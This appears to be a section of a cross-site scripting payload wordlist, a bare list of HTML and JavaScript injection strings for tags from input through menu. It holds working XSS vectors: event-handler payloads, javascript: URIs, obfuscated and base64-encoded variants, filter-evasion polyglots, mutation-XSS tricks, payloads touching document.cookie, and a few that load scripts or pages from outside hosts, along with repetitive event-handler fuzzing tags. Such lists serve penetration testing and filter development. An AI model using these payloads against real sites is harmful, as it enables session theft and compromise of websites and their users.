<input srcset=x href=x onclick=popup=1; >
<input type="image" dynid=XSS SRC="javascript:alert('XSS');">
<input type="image" dynsrc="javascript:alert(1);">
<input type="image" dynsrc="javascript:document.cookie=true;">
<input type="image" formaction=JaVaScript:alert(0)>
<input type="search" onsearch="aler\u0074(1)">
<input type="text" AUTOFOCUS onfocus=alert(1)>
<input type="text" value=""onfocus=location='javascript:alert`1`' autofocus""/>
<input type="text" value=""onresize=pompt(1) "> // IE 10 docmode
<input type="text" value="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"></input>
<input type="text"value=""onclick="location=window[`atob`]`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21ha W4p`"/>
<input type='text' value='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'></input>
<input type=image src=X.gif onreadystatechange=alert(1)>
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>
<input value="${alert(1)}`</script/">
<input+name=xss+value="%26lt;script>alert%26lpar;1)%26lt;/script>">
<input+onfocus=alert(1)>
<ins onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</ins>
<isindex action="javascript:alert(1)" type=image>
<isindex action="javascript:alert(1)" type=image> // Firefox, IE
<isindex action=data:text/html, type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image> Google Chrome, IE
<isindex action=javascript:alert(1) type=image>
<isindex action=javascript:alert(1) type=image>
<isindex action=javascript:alert(1) type=submit value=click>
<isindex formaction=javascript:alert(1) type=submit value=click>
<isindex type=image src=1 onerror=alert(1)>
<isindex type=image src=X.gif onreadystatechange=alert(1)>
<isindex x="javascript:" onmouseover="alert(1)" label="test"> // Firefox, IE
<isindex+type=image+src=1+onerror=alert(1)>
<isindexformaction="javascript:alert(1)" type=image>
<javascript:prompt(document.cookie)>
<kbd onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" <em>="Renders as emphasized text" <strong>="Defines important text" <code>="Defines a piece of computer code" <samp>="Defines sample output from a computer program" <kbd>="Defines keyboard input" <var>="Defines a variable">Test</kbd>
<keygen id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<keygen onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</keygen>
<keygen onfocus=javascript:alert(1) autofocus>
<label onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</label>
<legend id=x form=frm></legend>
<legend onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</legend>
<li onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</li>
<li style=list-style:url() onerror=alert(1)></li>
<li style=list-style:url() onerror=alert(1)></li><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>
<link href="http://host/xss.css">
<link onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</link>
<link rel="import" href="data:text/html,<script>alert(document.domain)< ;/script>
<link rel="stylesheet" href="javascript:document.cookie=true;">
<link rel='preload' href='#' as='script' onload='confirm(domain)'>
<link rel=import href="data:text/html,<script>alert(1)</script>
<link rel=import href=data:text/html;base64,PHNjcmlwdD5wb3B1cD0xOzwvc2NyaXB0Pg==>
<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d
<link%20rel=import%20href=http://avlidienbrunn.se/test.php>
<link/rel=prefetch
import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4g>
<listing><img src=x onerror=alert(1)></listing>
<mArquee%20onStart%3D[~[onmouseleave(([[(alert(1))]]))]]%20]
<main onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</main>
<map onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</map>
<marguee/onstart=alert(1)>
<mark onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</mark>
<marquee loop=1 width=0 onfinish=1/confirm`/1/`>0</marquee>
<marquee loop=1 width=0 onfinish=confirm(1)>0</marquee>
<marquee onstart='javascript:alert('1');'>=(?_?)=
<marquee onstart='javascript:alert('1');'>=(◕_◕)=+((+!![]+[])+(!+[]+!![])+(!+[]+!![]+!![]+[]))
<marquee/finish=confirm(2)>/
<marquee/onstart=confirm(1)>
<marquee/onstart=confirm(2)>/
<marquee/onstart=document.body.innerHTML=location.hash>//#<img src=x onerror=prompt(1)>>
<marquee/onstart=this['innerHTML']=location.hash;>//#<img src=x onerror=alert(document.domain)>
<marquee/onstart=this['innerHTML']=unescape(location.hash);>//#<img src=x onerror=alert(document.domain)>
<marquee<marquee/onstart=confirm(1)>
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)
<marquee>Kerala Cyber Force</marquee>
<marquee>alert( `X :)`)</marquee>
<math href="javascript:alert(1)">CLICKME</math><math><!-- up to FF 13 --><maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction><!-- FF 14+ --><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction></math>
<math xlink:href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</math>
<math><XSS href="javascript:alert(location)">aaa
<math><XSS href="javascript:alert(location)">xss
<math><a xlink:href="//127.0.0.1:3555/xss_serve_payloads/X.js">click
<math><annotation-xml encoding="text/html"><script></script><img src=x onerror=alert(1)></script></math>
<math><annotation-xml encoding="text/html"><style></style><img src=x onerror=alert(1)></style></math>
<math><annotation-xml encoding=text/html><![CDATA[></math><!]]]]><![CDATA[><script>var name=""-alert``//"</script>
<math><annotation-xml><textarea/><svg><script>alert(1)</script>
<math><brute href=javascript:alert(1)>click
<math><brute xlink:href=javascript:alert(1)>click
<math><mrow href=javascript:alert(1)>XSS</mrow></math>
<math><script>//<head><script>alert(1)</script>
<menu onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" 